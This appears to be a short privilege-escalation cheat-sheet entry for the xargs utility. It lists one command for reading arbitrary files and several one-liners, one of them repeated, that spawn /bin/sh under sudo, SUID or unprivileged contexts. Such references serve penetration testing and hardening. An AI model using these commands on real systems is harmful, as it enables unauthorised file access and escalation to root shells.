xargs
File Read
Context: sudo, suid, unprivileged
xargs -a /path/to/input-file -0
Shell
Context: sudo, suid, unprivileged
xargs -a /dev/null /bin/sh
Context: sudo, suid, unprivileged
xargs -a /dev/null /bin/sh
Context: sudo, suid, unprivileged
echo x | xargs -o -a /dev/null /bin/sh